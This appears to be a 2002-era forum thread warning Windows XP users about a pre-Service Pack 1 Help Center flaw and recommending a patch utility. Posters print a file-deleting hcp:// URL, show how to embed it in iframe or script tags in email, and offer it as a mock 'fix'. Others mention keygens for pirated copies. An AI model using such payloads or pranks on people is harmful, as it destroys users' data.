[OT] Attention all Win XP users!

[Psionicist]

http://grc.com/xpdite/xpdite.htm

Without XPdite, or XP's Service Pack 1,
clicking on a simple, but malicious, URL can
delete the entire contents of your directories.
This FREE 30 kbyte "XPdite" utility protects your Windows
XP system until you are able to install Service Pack 1.

Download and install SP1 NOW. Before you do it, run the above 30kb program. This time MS screwed up BADLY!

 

[Tsyr]

You know, more and more, my decision to stick with 2K is seeming wiser and wiser...

 

[Thanee]

Well, I have SP1 installed, so I guess I'm safe from this whatever-it-might-be bug...

Do you happen to know what kind of malicious URL they are speaking of there?

BTW, nice sig, Psi!

Bye
Thanee

 

[Zappo]

Ahem... notice that if you install SP1, you'll have to agree to the new Microsoft EULA which states, among other things, that you agree to let Microsoft remotely install new software on your machine without warning, which may interfere or block the functioning of other software without them being accountable.

Not counting that, if you're using a pirated WinXP with one of a few leaked activation keys (not that anyone here uses stolen software, right?), chances are that your installation will be deactivated.

 

[Zappo]

Do you happen to know what kind of malicious URL they are speaking of there?

hcp://system/DFS/uplddrvinfo.htm?file://c:\test\*

I'm not making it clickable for fear that someone will actually click it. Anyway, inserting that into Internet Explorer from a WinXP pre-SP1 computer will delete the content of c:\test.

 

[Thanee]

Thanks!

Bye
Thanee

 

[thundershot]

Oddly enough, I started downloading SP1 last night (30 megs is a lot for a 56k modem) and I left it on all night... naturally, I got booted in the middle of it, but it just continued where it left off...


Chris

 

[Thanee]

Gotta love those download managers, eh?

Bye
Thanee

 

[MeepoTheMighty]

Not counting that, if you're using a pirated WinXP with one of a few leaked activation keys (not that anyone here uses stolen software, right?), chances are that your installation will be deactivated.

*shrugs* There are keygens out now, as well as programs to retroactively change your cd key. Not that anyone here uses stolen software, but if they did, they could probably figure out a workaround.

 

[Psionicist]

Yeah. You can technically include this line in a simple email-message and destroy things for someone:

< iframe src="hcp://system/DFS/uplddrvinfo.htm?file://c:\test\*" >

or perhaps

< script language="javascript" src="hcp://system/DFS/uplddrvinfo.htm?file://c:\test\*" >

Or a simple meta redirect tag.

In short, if you use WinXP (unpatched), and read email and view webpages, you are in great danger.

Edit: One should try this to get rid of the problem:
hcp://system/DFS/uplddrvinfo.htm?hcp://system/DFS/uplddrvinfo.htm

haha just kidding